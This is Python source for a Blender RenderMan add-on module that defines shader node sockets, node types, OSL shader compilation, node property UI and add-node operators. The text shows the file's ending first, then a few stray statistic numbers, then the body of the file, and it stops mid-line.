materials continue elif node_type.renderman_node_type == 'light' and 'PxrMeshLight' not in name: # skip light nodes continue else: node_cats[node_type.renderman_node_type][1].append(node_item) # all categories in a list node_categories = [ # identifier, label, items list RendermanPatternNodeCategory("PRMan_output_nodes", "RenderMan Outputs", items=[NodeItem('RendermanOutputNode', label=RendermanOutputNode.bl_label)]), ] for name, (desc, items) in node_cats.items(): node_categories.append(RendermanPatternNodeCategory(name, desc, items=sorted(items, key=attrgetter('_label')))) nodeitems_utils.register_node_categories("RENDERMANSHADERNODES", node_categories) def unregister(): nodeitems_utils.unregister_node_categories("RENDERMANSHADERNODES") # bpy.utils.unregister_module(__name__) for cls in classes: bpy.utils.unregister_class(cls)
40.768443
296
0.583178
_add_inputs from .shader_parameters import node_add_outputs from .shader_parameters import socket_map from .shader_parameters import txmake_options, update_conditional_visops from .util import args_files_in_path from .util import get_path_list from .util import rib from .util import debug from .util import user_path from .util import get_real_path from .util import readOSO from .cycles_convert import * from operator import attrgetter, itemgetter import os.path from time import sleep import traceback NODE_LAYOUT_SPLIT = 0.5 group_nodes = ['ShaderNodeGroup', 'NodeGroupInput', 'NodeGroupOutput'] def update_func(self, context): node = self.node if hasattr(self, 'node') else self from . import engine if engine.is_ipr_running(): engine.ipr.issue_shader_edits(node=node) class RendermanSocket: ui_open: BoolProperty(name='UI Open', default=True) def get_pretty_name(self, node): if node.bl_idname in group_nodes: return self.name else: return self.identifier def get_value(self, node): if node.bl_idname in group_nodes or not hasattr(node, self.name): return self.default_value else: return getattr(node, self.name) def draw_color(self, context, node): return (0.25, 1.0, 0.25, 1.0) def draw_value(self, context, layout, node): layout.prop(node, self.identifier) def draw(self, context, layout, node, text): if self.is_linked or self.is_output or self.hide_value or not hasattr(self, 'default_value'): layout.label(self.get_pretty_name(node)) elif node.bl_idname in group_nodes or node.bl_idname == "PxrOSLPatternNode": layout.prop(self, 'default_value', text=self.get_pretty_name(node), slider=True) else: layout.prop(node, self.name, text=self.get_pretty_name(node), slider=True) class RendermanSocketInterface: def draw_color(self, context): return (0.25, 1.0, 0.25, 1.0) def draw(self, context, layout): layout.label(self.name) def from_socket(self, node, socket): if hasattr(self, 'default_value'): self.default_value = socket.get_value(node) self.name = socket.name def init_socket(self, node, socket, data_path): sleep(.01) socket.name = self.name if hasattr(self, 'default_value'): socket.default_value = self.default_value class RendermanNodeSocketFloat(bpy.types.NodeSocketFloat, RendermanSocket): bl_idname = 'RendermanNodeSocketFloat' bl_label = 'RenderMan Float Socket' default_value: FloatProperty(update=update_func) renderman_type: StringProperty(default='float') def draw_color(self, context, node): return (0.5, 0.5, 0.5, 1.0) class RendermanNodeSocketInterfaceFloat(bpy.types.NodeSocketInterfaceFloat, RendermanSocketInterface): bl_idname = 'RendermanNodeSocketInterfaceFloat' bl_label = 'RenderMan Float Socket' bl_socket_idname = 'RendermanNodeSocketFloat' default_value: FloatProperty() def draw_color(self, context): return (0.5, 0.5, 0.5, 1.0) class RendermanNodeSocketInt(bpy.types.NodeSocketInt, RendermanSocket): bl_idname = 'RendermanNodeSocketInt' bl_label = 'RenderMan Int Socket' default_value: IntProperty(update=update_func) renderman_type: StringProperty(default='int') def draw_color(self, context, node): return (1.0, 1.0, 1.0, 1.0) class RendermanNodeSocketInterfaceInt(bpy.types.NodeSocketInterfaceInt, RendermanSocketInterface): bl_idname = 'RendermanNodeSocketInterfaceInt' bl_label = 'RenderMan Int Socket' bl_socket_idname = 'RendermanNodeSocketInt' default_value: IntProperty() def draw_color(self, context): return (1.0, 1.0, 1.0, 1.0) class RendermanNodeSocketString(bpy.types.NodeSocketString, RendermanSocket): bl_idname = 'RendermanNodeSocketString' bl_label = 'RenderMan String Socket' default_value: StringProperty(update=update_func) is_texture: BoolProperty(default=False) renderman_type: StringProperty(default='string') class RendermanNodeSocketStruct(bpy.types.NodeSocketString, RendermanSocket): bl_idname = 'RendermanNodeSocketStruct' bl_label = 'RenderMan Struct Socket' hide_value = True renderman_type = 'string' default_value = '' class RendermanNodeSocketInterfaceStruct(bpy.types.NodeSocketInterfaceString, RendermanSocketInterface): bl_idname = 'RendermanNodeSocketInterfaceStruct' bl_label = 'RenderMan Struct Socket' bl_socket_idname = 'RendermanNodeSocketStruct' hide_value = True class RendermanNodeSocketColor(bpy.types.NodeSocketColor, RendermanSocket): bl_idname = 'RendermanNodeSocketColor' bl_label = 'RenderMan Color Socket' default_value: FloatVectorProperty(size=3, subtype="COLOR", update=update_func) renderman_type: StringProperty(default='color') def draw_color(self, context, node): return (1.0, 1.0, .5, 1.0) class RendermanNodeSocketInterfaceColor(bpy.types.NodeSocketInterfaceColor, RendermanSocketInterface): bl_idname = 'RendermanNodeSocketInterfaceColor' bl_label = 'RenderMan Color Socket' bl_socket_idname = 'RendermanNodeSocketColor' default_value: FloatVectorProperty(size=3, subtype="COLOR") def draw_color(self, context): return (1.0, 1.0, .5, 1.0) class RendermanNodeSocketVector(RendermanSocket, bpy.types.NodeSocketVector): bl_idname = 'RendermanNodeSocketVector' bl_label = 'RenderMan Vector Socket' hide_value = True default_value: FloatVectorProperty(size=3, subtype="EULER", update=update_func) renderman_type: StringProperty(default='vector') def draw_color(self, context, node): return (.25, .25, .75, 1.0) class RendermanNodeSocketInterfaceVector(bpy.types.NodeSocketInterfaceVector, RendermanSocketInterface): bl_idname = 'RendermanNodeSocketInterfaceVector' bl_label = 'RenderMan Vector Socket' bl_socket_idname = 'RendermanNodeSocketVector' hide_value = True default_value: FloatVectorProperty(size=3, subtype="EULER") def draw_color(self, context): return (.25, .25, .75, 1.0) class RendermanShaderSocket(bpy.types.NodeSocketShader, RendermanSocket): bl_idname = 'RendermanShaderSocket' bl_label = 'RenderMan Shader Socket' hide_value = True class RendermanShaderSocketInterface(bpy.types.NodeSocketInterfaceShader, RendermanSocketInterface): bl_idname = 'RendermanShaderInterfaceSocket' bl_label = 'RenderMan Shader Socket' bl_socket_idname = 'RendermanShaderSocket' hide_value = True class RendermanShadingNode(bpy.types.ShaderNode): bl_label = 'Output' def update_mat(self, mat): if self.renderman_node_type == 'bxdf' and self.outputs['Bxdf'].is_linked: mat.specular_color = [1, 1, 1] mat.diffuse_color = [1, 1, 1] mat.use_transparency = False mat.specular_intensity = 0 mat.diffuse_intensity = 1 if hasattr(self, "baseColor"): mat.diffuse_color = self.baseColor elif hasattr(self, "emitColor"): mat.diffuse_color = self.emitColor elif hasattr(self, "diffuseColor"): mat.diffuse_color = self.diffuseColor elif hasattr(self, "midColor"): mat.diffuse_color = self.midColor elif hasattr(self, "transmissionColor"): mat.diffuse_color = self.transmissionColor elif hasattr(self, "frontColor"): mat.diffuse_color = self.frontColor if hasattr(self, "specular"): mat.specular_intensity = self.specular elif hasattr(self, "SpecularGainR"): mat.specular_intensity = self.specularGainR elif hasattr(self, "reflectionGain"): mat.specular_intensity = self.reflectionGain if hasattr(self, "specularColor"): mat.specular_color = self.specularColor elif hasattr(self, "reflectionColor"): mat.specular_color = self.reflectionColor if self.bl_idname in ["PxrGlassBxdfNode", "PxrLMGlassBxdfNode"]: mat.use_transparency = True mat.alpha = .5 if self.bl_idname == "PxrLMMetalBxdfNode": mat.diffuse_color = [0, 0, 0] mat.specular_intensity = 1 mat.specular_color = self.specularColor mat.mirror_color = [1, 1, 1] elif self.bl_idname == "PxrLMPlasticBxdfNode": mat.specular_intensity = 1 def draw_buttons(self, context, layout): self.draw_nonconnectable_props(context, layout, self.prop_names) if self.bl_idname == "PxrOSLPatternNode": layout.operator("node.refresh_osl_shader") def draw_buttons_ext(self, context, layout): self.draw_nonconnectable_props(context, layout, self.prop_names) def draw_nonconnectable_props(self, context, layout, prop_names): if self.bl_idname in ['PxrLayerPatternNode', 'PxrSurfaceBxdfNode']: col = layout.column(align=True) for prop_name in prop_names: if prop_name not in self.inputs: for name in getattr(self, prop_name): if name.startswith('enable'): col.prop(self, name, text=prop_name.split('.')[-1]) break return if self.bl_idname == "PxrOSLPatternNode" or self.bl_idname == "PxrSeExprPatternNode": prop = getattr(self, "codetypeswitch") layout.prop(self, "codetypeswitch") if getattr(self, "codetypeswitch") == 'INT': prop = getattr(self, "internalSearch") layout.prop_search( self, "internalSearch", bpy.data, "texts", text="") elif getattr(self, "codetypeswitch") == 'EXT': prop = getattr(self, "shadercode") layout.prop(self, "shadercode") elif getattr(self, "codetypeswitch") == 'NODE': layout.prop(self, "expression") else: if self.__annotations__['plugin_name'] == 'PxrRamp': nt = bpy.data.node_groups[self.node_group] if nt: layout.template_color_ramp( nt.nodes["ColorRamp"], 'color_ramp') for prop_name in prop_names: prop_meta = self.prop_meta[prop_name] if 'widget' in prop_meta and prop_meta['widget'] == 'null' or \ 'hidden' in prop_meta and prop_meta['hidden']: continue if prop_name not in self.inputs: if prop_meta['renderman_type'] == 'page': ui_prop = prop_name + "_uio" ui_open = getattr(self, ui_prop) icon = 'DISCLOSURE_TRI_DOWN' if ui_open \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() row.prop(self, ui_prop, icon=icon, text='', icon_only=True, emboss=False, slider=True) row.label(prop_name.split('.')[-1] + ':') if ui_open: prop = getattr(self, prop_name) self.draw_nonconnectable_props( context, layout, prop) elif "Subset" in prop_name and prop_meta['type'] == 'string': layout.prop_search(self, prop_name, bpy.data.scenes[0].renderman, "object_groups") else: layout.prop(self, prop_name, slider=True) def copy(self, node): pass def RefreshNodes(self, context, nodeOR=None, materialOverride=None): if hasattr(context, "node"): node = context.node else: node = nodeOR prefs = bpy.context.preferences.addons[__package__].preferences out_path = user_path(prefs.env_vars.out) compile_path = os.path.join(user_path(prefs.env_vars.out), "shaders") if os.path.exists(out_path): pass else: os.mkdir(out_path) if os.path.exists(os.path.join(out_path, "shaders")): pass else: os.mkdir(os.path.join(out_path, "shaders")) if getattr(node, "codetypeswitch") == "EXT": osl_path = user_path(getattr(node, 'shadercode')) FileName = os.path.basename(osl_path) FileNameNoEXT = os.path.splitext(FileName)[0] FileNameOSO = FileNameNoEXT FileNameOSO += ".oso" export_path = os.path.join( user_path(prefs.env_vars.out), "shaders", FileNameOSO) if os.path.splitext(FileName)[1] == ".oso": out_file = os.path.join(user_path(prefs.env_vars.out), "shaders", FileNameOSO) if not os.path.exists(out_file) or not os.path.samefile(osl_path, out_file): shutil.copy(osl_path, out_file) ok = True else: ok = node.compile_osl(osl_path, compile_path) elif getattr(node, "codetypeswitch") == "INT" and node.internalSearch: script = bpy.data.texts[node.internalSearch] osl_path = bpy.path.abspath( script.filepath, library=script.library) if script.is_in_memory or script.is_dirty or \ script.is_modified or not os.path.exists(osl_path): osl_file = tempfile.NamedTemporaryFile( mode='w', suffix=".osl", delete=False) osl_file.write(script.as_string()) osl_file.close() FileNameNoEXT = os.path.splitext(script.name)[0] FileNameOSO = FileNameNoEXT FileNameOSO += ".oso" node.__annotations__['plugin_name'] = FileNameNoEXT ok = node.compile_osl(osl_file.name, compile_path, script.name) export_path = os.path.join( user_path(prefs.env_vars.out), "shaders", FileNameOSO) os.remove(osl_file.name) else: ok = node.compile_osl(osl_path, compile_path) FileName = os.path.basename(osl_path) FileNameNoEXT = os.path.splitext(FileName)[0] node.__annotations__['plugin_name'] = FileNameNoEXT FileNameOSO = FileNameNoEXT FileNameOSO += ".oso" export_path = os.path.join( user_path(prefs.env_vars.out), "shaders", FileNameOSO) else: ok = False debug("osl", "Shader cannot be compiled. Shader name not specified") if ok: debug('osl', "Shader Compiled Successfully!") node.outputs.clear() node.inputs.clear() prop_names, shader_meta = readOSO(export_path) debug('osl', prop_names, "MetaInfo: ", shader_meta) node.label = shader_meta["shader"] node.__annotations__['plugin_name'] = shader_meta["shader"] setattr(node, 'shader_meta', shader_meta) node.setOslProps(prop_names, shader_meta) else: debug("osl", "NODE COMPILATION FAILED") def compile_osl(self, inFile, outPath, nameOverride=""): if not nameOverride: FileName = os.path.basename(inFile) FileNameNoEXT = os.path.splitext(FileName)[0] out_file = os.path.join(outPath, FileNameNoEXT) out_file += ".oso" else: FileNameNoEXT = os.path.splitext(nameOverride)[0] out_file = os.path.join(outPath, FileNameNoEXT) out_file += ".oso" ok = _cycles.osl_compile(inFile, out_file) return ok def update(self): debug("info", "UPDATING: ", self.name) @classmethod def poll(cls, ntree): if hasattr(ntree, 'bl_idname'): return ntree.bl_idname == 'ShaderNodeTree' else: return True def setOslProps(self, prop_names, shader_meta): for prop_name in prop_names: prop_type = shader_meta[prop_name]["type"] if shader_meta[prop_name]["IO"] == "out": self.outputs.new( socket_map[prop_type], prop_name) else: prop_default = shader_meta[prop_name]["default"] if prop_type == "float": prop_default = float(prop_default) elif prop_type == "int": prop_default = int(float(prop_default)) if prop_type == "matrix": self.inputs.new(socket_map["struct"], prop_name, prop_name) elif prop_type == "void": pass elif 'lockgeom' in shader_meta[prop_name] and shader_meta[prop_name]['lockgeom'] == 0: pass else: input = self.inputs.new(socket_map[shader_meta[prop_name]["type"]], prop_name, prop_name) input.default_value = prop_default if prop_type == 'struct' or prop_type == 'point': input.hide_value = True input.renderman_type = prop_type debug('osl', "Shader: ", shader_meta["shader"], "Properties: ", prop_names, "Shader meta data: ", shader_meta) compileLocation = self.name + "Compile" class RendermanOutputNode(RendermanShadingNode): bl_label = 'RenderMan Material' renderman_node_type = 'output' bl_icon = 'MATERIAL' node_tree = None def init(self, context): input = self.inputs.new('RendermanShaderSocket', 'Bxdf') input.type = 'SHADER' input.hide_value = True input = self.inputs.new('RendermanShaderSocket', 'Light') input.hide_value = True input = self.inputs.new('RendermanShaderSocket', 'Displacement') input.hide_value = True def draw_buttons(self, context, layout): return def draw_buttons_ext(self, context, layout): return # updates def update(self): from . import engine if engine.is_ipr_running(): engine.ipr.last_edit_mat = None engine.ipr.issue_shader_edits(nt=self.id_data) # Final output node, used as a dummy to find top level shaders class RendermanBxdfNode(RendermanShadingNode): bl_label = 'Bxdf' renderman_node_type = 'bxdf' shading_compatibility = {'NEW_SHADING'} class RendermanDisplacementNode(RendermanShadingNode): bl_label = 'Displacement' renderman_node_type = 'displacement' # Final output node, used as a dummy to find top level shaders class RendermanPatternNode(RendermanShadingNode): bl_label = 'Texture' renderman_node_type = 'pattern' bl_type = 'TEX_IMAGE' bl_static_type = 'TEX_IMAGE' class RendermanLightNode(RendermanShadingNode): bl_label = 'Output' renderman_node_type = 'light' # Generate dynamic types def generate_node_type(prefs, name, args): nodeType = args.find("shaderType/tag").attrib['value'] typename = '%s%sNode' % (name, nodeType.capitalize()) nodeDict = {'bxdf': RendermanBxdfNode, 'pattern': RendermanPatternNode, 'displacement': RendermanDisplacementNode, 'light': RendermanLightNode} if nodeType not in nodeDict.keys(): return ntype = type(typename, (nodeDict[nodeType],), {'__annotations__': {}}) ntype.bl_label = name ntype.typename = typename inputs = [p for p in args.findall('./param')] + \ [p for p in args.findall('./page')] outputs = [p for p in args.findall('.//output')] def init(self, context): if self.renderman_node_type == 'bxdf': self.outputs.new('RendermanShaderSocket', "Bxdf").type = 'SHADER' #socket_template = self.socket_templates.new(identifier='Bxdf', name='Bxdf', type='SHADER') node_add_inputs(self, name, self.prop_names) node_add_outputs(self) # if this is PxrLayerSurface set the diffusegain to 0. The default # of 1 is unintuitive if self.__annotations__['plugin_name'] == 'PxrLayerSurface': self.diffuseGain = 0 elif self.renderman_node_type == 'light': # only make a few sockets connectable node_add_inputs(self, name, self.prop_names) self.outputs.new('RendermanShaderSocket', "Light") elif self.renderman_node_type == 'displacement': # only make the color connectable self.outputs.new('RendermanShaderSocket', "Displacement") node_add_inputs(self, name, self.prop_names) # else pattern elif name == "PxrOSL": self.outputs.clear() else: node_add_inputs(self, name, self.prop_names) node_add_outputs(self) if name == "PxrRamp": node_group = bpy.data.node_groups.new( 'PxrRamp_nodegroup', 'ShaderNodeTree') node_group.nodes.new('ShaderNodeValToRGB') node_group.use_fake_user = True self.node_group = node_group.name update_conditional_visops(self) def free(self): if name == "PxrRamp": bpy.data.node_groups.remove(bpy.data.node_groups[self.node_group]) ntype.init = init ntype.free = free if name == 'PxrRamp': ntype.node_group = StringProperty('color_ramp', default='') ntype.__annotations__["plugin_name"] = StringProperty(name='Plugin Name', default=name, options={'HIDDEN'}) # lights cant connect to a node tree in 20.0 class_generate_properties(ntype, name, inputs + outputs) if nodeType == 'light': ntype.light_shading_rate = FloatProperty( name="Light Shading Rate", description="Shading Rate for this light. \ Leave this high unless detail is missing", default=100.0) ntype.light_primary_visibility = BoolProperty( name="Light Primary Visibility", description="Camera visibility for this light", default=True) bpy.utils.register_class(ntype) return typename, ntype # UI def find_node_input(node, name): for input in node.inputs: if input.name == name: return input return None def find_node(material, nodetype): if material and material.node_tree: ntree = material.node_tree active_output_node = None for node in ntree.nodes: if getattr(node, "bl_idname", None) == nodetype: if getattr(node, "is_active_output", True): return node if not active_output_node: active_output_node = node return active_output_node return None def find_node_input(node, name): for input in node.inputs: if input.name == name: return input return None def panel_node_draw(layout, context, id_data, output_type, input_name): ntree = id_data.node_tree node = find_node(id_data, output_type) if not node: layout.label(text="No output node") else: input = find_node_input(node, input_name) #layout.template_node_view(ntree, node, input) draw_nodes_properties_ui(layout, context, ntree) return True def is_renderman_nodetree(material): return find_node(material, 'RendermanOutputNode') def draw_nodes_properties_ui(layout, context, nt, input_name='Bxdf', output_node_type="output"): output_node = next((n for n in nt.nodes if hasattr(n, 'renderman_node_type') and n.renderman_node_type == output_node_type), None) if output_node is None: return socket = output_node.inputs[input_name] node = socket_node_input(nt, socket) layout.context_pointer_set("nodetree", nt) layout.context_pointer_set("node", output_node) layout.context_pointer_set("socket", socket) split = layout.split(0.35) split.label(socket.name + ':') if socket.is_linked: # for lights draw the shading rate ui. split.operator_menu_enum("node.add_%s" % input_name.lower(), "node_type", text=node.bl_label) else: split.operator_menu_enum("node.add_%s" % input_name.lower(), "node_type", text='None') if node is not None: draw_node_properties_recursive(layout, context, nt, node) def socket_node_input(nt, socket): return next((l.from_node for l in nt.links if l.to_socket == socket), None) def socket_socket_input(nt, socket): return next((l.from_socket for l in nt.links if l.to_socket == socket and socket.is_linked), None) def linked_sockets(sockets): if sockets is None: return [] return [i for i in sockets if i.is_linked] def draw_node_properties_recursive(layout, context, nt, node, level=0): def indented_label(layout, label, level): for i in range(level): layout.label('', icon='BLANK1') if label: layout.label(label) layout.context_pointer_set("node", node) layout.context_pointer_set("nodetree", nt) def draw_props(prop_names, layout, level): for prop_name in prop_names: # skip showing the shape for PxrStdAreaLight if prop_name in ["lightGroup", "rman__Shape", "coneAngle", "penumbraAngle"]: continue if prop_name == "codetypeswitch": row = layout.row() if node.codetypeswitch == 'INT': row.prop_search(node, "internalSearch", bpy.data, "texts", text="") elif node.codetypeswitch == 'EXT': row.prop(node, "shadercode") elif prop_name == "internalSearch" or prop_name == "shadercode" or prop_name == "expression": pass else: prop_meta = node.prop_meta[prop_name] prop = getattr(node, prop_name) if 'widget' in prop_meta and prop_meta['widget'] == 'null' or \ 'hidden' in prop_meta and prop_meta['hidden']: continue # else check if the socket with this name is connected socket = node.inputs[prop_name] if prop_name in node.inputs \ else None layout.context_pointer_set("socket", socket) if socket and socket.is_linked: input_node = socket_node_input(nt, socket) icon = 'DISCLOSURE_TRI_DOWN' if socket.ui_open \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() indented_label(row, None, level) row.prop(socket, "ui_open", icon=icon, text='', icon_only=True, emboss=False) label = prop_meta.get('label', prop_name) row.label(label + ':') if ('type' in prop_meta and prop_meta['type'] == 'vstruct') or prop_name == 'inputMaterial': split.operator_menu_enum("node.add_layer", "node_type", text=input_node.bl_label, icon="LAYER_USED") elif prop_meta['renderman_type'] == 'struct': split.operator_menu_enum("node.add_manifold", "node_type", text=input_node.bl_label, icon="LAYER_USED") elif prop_meta['renderman_type'] == 'normal': split.operator_menu_enum("node.add_bump", "node_type", text=input_node.bl_label, icon="LAYER_USED") else: split.operator_menu_enum("node.add_pattern", "node_type", text=input_node.bl_label, icon="LAYER_USED") if socket.ui_open: draw_node_properties_recursive(layout, context, nt, input_node, level=level + 1) else: row = layout.row(align=True) if prop_meta['renderman_type'] == 'page': ui_prop = prop_name + "_uio" ui_open = getattr(node, ui_prop) icon = 'DISCLOSURE_TRI_DOWN' if ui_open \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() for i in range(level): row.label('', icon='BLANK1') row.prop(node, ui_prop, icon=icon, text='', icon_only=True, emboss=False) sub_prop_names = list(prop) if node.bl_idname in {"PxrSurfaceBxdfNode", "PxrLayerPatternNode"}: for pn in sub_prop_names: if pn.startswith('enable'): row.prop(node, pn, text='') sub_prop_names.remove(pn) break row.label(prop_name.split('.')[-1] + ':') if ui_open: draw_props(sub_prop_names, layout, level + 1) else: indented_label(row, None, level) # indented_label(row, socket.name+':') # don't draw prop for struct type if "Subset" in prop_name and prop_meta['type'] == 'string': row.prop_search(node, prop_name, bpy.data.scenes[0].renderman, "object_groups") else: if prop_meta['renderman_type'] != 'struct': row.prop(node, prop_name, slider=True) else: row.label(prop_meta['label']) if prop_name in node.inputs: if ('type' in prop_meta and prop_meta['type'] == 'vstruct') or prop_name == 'inputMaterial': row.operator_menu_enum("node.add_layer", "node_type", text='', icon="LAYER_USED") elif prop_meta['renderman_type'] == 'struct': row.operator_menu_enum("node.add_manifold", "node_type", text='', icon="LAYER_USED") elif prop_meta['renderman_type'] == 'normal': row.operator_menu_enum("node.add_bump", "node_type", text='', icon="LAYER_USED") else: row.operator_menu_enum("node.add_pattern", "node_type", text='', icon="LAYER_USED") if not hasattr(node, '__annotations__') or not "plugin_name" in node.__annotations__ or node.bl_idname == 'PxrOSLPatternNode': node.draw_buttons(context, layout) for input in node.inputs: if input.is_linked: input_node = socket_node_input(nt, input) icon = 'DISCLOSURE_TRI_DOWN' if input.show_expanded \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() indented_label(row, None, level) row.prop(input, "show_expanded", icon=icon, text='', icon_only=True, emboss=False) row.label(input.name + ':') split.operator_menu_enum("node.add_pattern", "node_type", text=input_node.bl_label, icon="LAYER_USED") if input.show_expanded: draw_node_properties_recursive(layout, context, nt, input_node, level=level + 1) else: row = layout.row(align=True) indented_label(row, None, level) if input.hide_value: row.label(input.name) else: row.prop(input, 'default_value', slider=True, text=input.name) row.operator_menu_enum("node.add_pattern", "node_type", text='', icon="LAYER_USED") else: if node.plugin_name == 'PxrRamp': dummy_nt = bpy.data.node_groups[node.node_group] if dummy_nt: layout.template_color_ramp( dummy_nt.nodes['ColorRamp'], 'color_ramp') draw_props(node.prop_names, layout, level) layout.separator() # Operators # connect the pattern nodes in some sensible manner (color output to color input etc) # TODO more robust def link_node(nt, from_node, in_socket): out_socket = None # first look for resultF/resultRGB if type(in_socket).__name__ in ['RendermanNodeSocketColor', 'RendermanNodeSocketVector']: out_socket = from_node.outputs.get('resultRGB', next((s for s in from_node.outputs if type(s).__name__ == 'RendermanNodeSocketColor'), None)) elif type(in_socket).__name__ == 'RendermanNodeSocketStruct': out_socket = from_node.outputs.get('pxrMaterialOut', None) if not out_socket: out_socket = from_node.outputs.get('result', None) else: out_socket = from_node.outputs.get('resultF', next((s for s in from_node.outputs if type(s).__name__ == 'RendermanNodeSocketFloat'), None)) if out_socket: nt.links.new(out_socket, in_socket) # bass class for operator to add a node class Add_Node: def get_type_items(self, context): items = [] # if this is a pattern input do columns! if self.input_type.lower() == 'pattern': i = 0 for pattern_cat, patterns in pattern_categories.items(): if pattern_cat.lower() in ['layer', 'script', 'manifold', 'bump', 'displace']: continue items.append(('', pattern_cat, pattern_cat, '', 0)) for nodename in sorted(patterns): nodetype = patterns[nodename] items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label, '', i)) i += 1 items.append(('', '', '', '', 0)) items.append(('REMOVE', 'Remove', 'Remove the node connected to this socket', '', i + 1)) items.append(('DISCONNECT', 'Disconnect', 'Disconnect the node connected to this socket', '', i + 2)) elif self.input_type.lower() in ['layer', 'manifold', 'bump']: patterns = pattern_categories[self.input_type] for nodename in sorted(patterns): nodetype = patterns[nodename] items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label)) items.append(('REMOVE', 'Remove', 'Remove the node connected to this socket')) items.append(('DISCONNECT', 'Disconnect', 'Disconnect the node connected to this socket')) else: for nodetype in nodetypes.values(): if self.input_type.lower() == 'light' and nodetype.renderman_node_type == 'light': if nodetype.__name__ == 'PxrMeshLightLightNode': items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label)) elif nodetype.renderman_node_type == self.input_type.lower(): items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label)) items = sorted(items, key=itemgetter(1)) items.append(('REMOVE', 'Remove', 'Remove the node connected to this socket')) items.append(('DISCONNECT', 'Disconnect', 'Disconnect the node connected to this socket')) return items node_type: EnumProperty(name="Node Type", description='Node type to add to this socket', items=get_type_items) def execute(self, context): new_type = self.properties.node_type if new_type == 'DEFAULT': return {'CANCELLED'} nt = context.nodetree node = context.node socket = context.socket input_node = socket_node_input(nt, socket) if new_type == 'REMOVE': nt.nodes.remove(input_node) return {'FINISHED'} if new_type == 'DISCONNECT': link = next((l for l in nt.links if l.to_socket == socket), None) nt.links.remove(link) return {'FINISHED'} # add a new node to existing socket if input_node is None: newnode = nt.nodes.new(new_type) newnode.location = node.location newnode.location[0] -= 300 newnode.selected = False if self.input_type in ['Pattern', 'Layer', 'Manifold', 'Bump']: link_node(nt, newnode, socket) else: nt.links.new(newnode.outputs[self.input_type], socket) # replace input node with a new one else: newnode = nt.nodes.new(new_type) input = socket old_node = input.links[0].from_node if self.input_type == 'Pattern': link_node(nt, newnode, socket) else: nt.links.new(newnode.outputs[self.input_type], socket) newnode.location = old_node.location active_material = context.active_object.active_material newnode.update_mat(active_material) nt.nodes.remove(old_node) return {'FINISHED'} class NODE_OT_add_bxdf(bpy.types.Operator, Add_Node): bl_idname = 'node.add_bxdf' bl_label = 'Add Bxdf Node' bl_description = 'Connect a Bxdf to this socket' input_type: StringProperty(default='Bxdf') class NODE_OT_add_displacement(bpy.types.Operator, Add_Node): bl_idname = 'node.add_displacement' bl_label = 'Add Displacement Node' bl_description = 'Connect a Displacement shader to this socket' input_type: StringProperty(default='Displacement') class NODE_OT_add_light(bpy.types.Operator, Add_Node): bl_idname = 'node.add_light' bl_label = 'Add Light Node' bl_description = 'Connect a Light shader to this socket' input_type: StringProperty(default='Light') class NODE_OT_add_pattern(bpy.types.Operator, Add_Node): bl_idname = 'node.add_pattern' bl_label = 'Add Pattern Node' bl_description = 'Connect a Pattern to this socket' input_type: StringProperty(default='Pattern') class NODE_OT_add_layer(bpy.types.Operator, Add_Node): bl_idname = 'node.add_layer' bl_label = 'Add Layer Node' bl_description = 'Connect a PxrLayer' input_type: StringProperty(default='Layer') class NODE_OT_add_manifold(bpy.types.Operator, Add_Node): bl_idname = 'node.add_manifold' bl_label = 'Add Manifold Node' bl_description = 'Connect a Manifold' input_type: StringProperty(default='Manifold') class NODE_OT_add_bump(bpy.types.Operator, Add_Node): bl_idname = 'node.add_bump' bl_label = 'Add Bump Node' bl_description = 'Connect a bump node' input_type: StringProperty(default='Bump') # return if this param has a vstuct connection or linked independently def is_vstruct_or_linked(node, param): meta = node.prop_meta[param] if 'vstructmember' not in meta.keys(): return node.inputs[param].is_linked elif param in node.inputs and node.inputs[param].is_linked: return True else: vstruct_name, vstruct_member = meta['vstructmember'].split('.') if node.inputs[vstruct_name].is_linked: from_socket = node.inputs[vstruct_name].links[0].from_socket vstruct_from_param = "%s_%s" % ( from_socket.identifier, vstruct_member) return vstruct_conditional(from_socket.node, vstruct_from_param) else: return False # tells if this param has a vstuct connection that is linked and # conditional met def is_vstruct_and_linked(node, param): meta = node.prop_meta[param] if 'vstructmember' not in meta.keys(): return False else: vstruct_name, vstruct_member = meta['vstructmember'].split('.') if node.inputs[vstruct_name].is_linked: from_socket = node.inputs[vstruct_name].links[0].from_socket # if coming from a shader group hookup across that if from_socket.node.bl_idname == 'ShaderNodeGroup': ng = from_socket.node.node_tree group_output = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if group_output is None: return False in_sock = group_output.inputs[from_socket.name] if len(in_sock.links): from_socket = in_sock.links[0].from_socket vstruct_from_param = "%s_%s" % ( from_socket.identifier, vstruct_member) return vstruct_conditional(from_socket.node, vstruct_from_param) else: return False # gets the value for a node walking up the vstruct chain def get_val_vstruct(node, param): if param in node.inputs and node.inputs[param].is_linked: from_socket = node.inputs[param].links[0].from_socket return get_val_vstruct(from_socket.node, from_socket.identifier) elif is_vstruct_and_linked(node, param): return True else: return getattr(node, param) # parse a vstruct conditional string and return true or false if should link def vstruct_conditional(node, param): if not hasattr(node, 'shader_meta') and not hasattr(node, 'output_meta'): return False meta = getattr( node, 'shader_meta') if node.bl_idname == "PxrOSLPatternNode" else node.output_meta if param not in meta: return False meta = meta[param] if 'vstructConditionalExpr' not in meta.keys(): return True expr = meta['vstructConditionalExpr'] expr = expr.replace('connect if ', '') set_zero = False if ' else set 0' in expr: expr = expr.replace(' else set 0', '') set_zero = True tokens = expr.split() new_tokens = [] i = 0 num_tokens = len(tokens) while i < num_tokens: token = tokens[i] prepend, append = '', '' while token[0] == '(': token = token[1:] prepend += '(' while token[-1] == ')': token = token[:-1] append += ')' if token == 'set': i += 1 continue # is connected change this to node.inputs.is_linked if i < num_tokens - 2 and tokens[i + 1] == 'is'\ and 'connected' in tokens[i + 2]: token = "is_vstruct_or_linked(node, '%s')" % token last_token = tokens[i + 2] while last_token[-1] == ')': last_token = last_token[:-1] append += ')' i += 3 else: i += 1 if hasattr(node, token): token = "get_val_vstruct(node, 